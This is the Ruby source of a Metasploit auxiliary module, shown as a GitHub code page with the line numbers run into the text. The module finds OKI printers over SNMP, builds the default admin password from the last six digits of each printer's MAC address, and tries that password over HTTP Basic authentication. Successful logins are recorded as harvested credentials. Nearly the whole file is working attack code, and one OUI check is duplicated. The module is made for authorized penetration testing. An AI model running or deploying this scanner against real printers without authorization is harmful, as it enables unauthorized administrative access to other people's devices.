Path: blob/master/modules/auxiliary/scanner/misc/oki_scanner.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# TODO: Split this module into two separate SNMP and HTTP modules.67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::SNMPClient9include Msf::Auxiliary::Scanner10include Msf::Auxiliary::Report1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'OKI Printer Default Login Credential Scanner',17'Description' => %q{18This module scans for OKI printers via SNMP, then tries to connect to found devices19with vendor default administrator credentials via HTTP authentication. By default, OKI20network printers use the last six digits of the MAC as admin password.21},22'Author' => 'antr6X <anthr6x[at]gmail.com>',23'License' => MSF_LICENSE,24'Notes' => {25'Reliability' => UNKNOWN_RELIABILITY,26'Stability' => UNKNOWN_STABILITY,27'SideEffects' => UNKNOWN_SIDE_EFFECTS28}29)30)3132register_options(33[34OptPort.new('SNMPPORT', [true, 'The SNMP Port', 161]),35OptPort.new('HTTPPORT', [true, 'The HTTP Port', 80])36]37)3839deregister_options('RPORT', 'VHOST')40end4142def cleanup43datastore['RPORT'] = @org_rport44end4546def report_cred(opts)47service_data = {48address: opts[:ip],49port: opts[:port],50service_name: opts[:service_name],51protocol: 'tcp',52workspace_id: myworkspace_id53}5455credential_data = {56origin_type: :service,57module_fullname: fullname,58username: opts[:user],59private_data: opts[:password],60private_type: :password61}.merge(service_data)6263login_data = {64last_attempted_at: Time.now,65core: create_credential(credential_data),66status: Metasploit::Model::Login::Status::SUCCESSFUL,67proof: opts[:proof]68}.merge(service_data)6970create_credential_login(login_data)71end7273def run_host(ip)74@org_rport = datastore['RPORT']75datastore['RPORT'] = datastore['SNMPPORT']7677index_page = "index_ad.htm"78auth_req_page = "status_toc_ad.htm"79snmp = connect_snmp()8081snmp.walk("1.3.6.1.2.1.2.2.1.6") do |mac|82last_six = mac.value.unpack("H2H2H2H2H2H2").join[-6, 6].upcase83first_six = mac.value.unpack("H2H2H2H2H2H2").join[0, 6].upcase8485# check if it is a OKI86# OUI list can be found at http://standards.ieee.org/develop/regauth/oui/oui.txt87if first_six == "002536" || first_six == "008087" || first_six == "002536"88sys_name = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s89print_status("Found: #{sys_name}")90print_status("Trying credential: admin/#{last_six}")9192tcp = Rex::Socket::Tcp.create(93'PeerHost' => rhost,94'PeerPort' => datastore['HTTPPORT'],95'Context' =>96{97'Msf' => framework,98'MsfExploit' => self99}100)101102auth = Rex::Text.encode_base64("admin:#{last_six}")103104http_data = "GET /#{auth_req_page} HTTP/1.1\r\n"105http_data << "Referer: http://#{ip}/#{index_page}\r\n"106http_data << "Authorization: Basic #{auth}\r\n\r\n"107108tcp.put(http_data)109data = tcp.recv(12)110111response = "#{data[9..11]}"112113case response114when "200"115print_good("#{rhost}:#{datastore['HTTPPORT']} logged in as: admin/#{last_six}")116report_cred(117ip: rhost,118port: datastore['HTTPPORT'],119service_name: 'http',120user: 'admin',121password: last_six,122proof: response.inspect123)124when "401"125print_error("Default credentials failed")126when "404"127print_status("Page not found, try credential manually: admin/#{last_six}")128else129print_status("Unexpected message")130end131132disconnect()133end134end135136# No need to make noise about timeouts137rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion138rescue ::Interrupt139raise $!140rescue ::Exception => e141print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")142ensure143disconnect_snmp144end145end146147148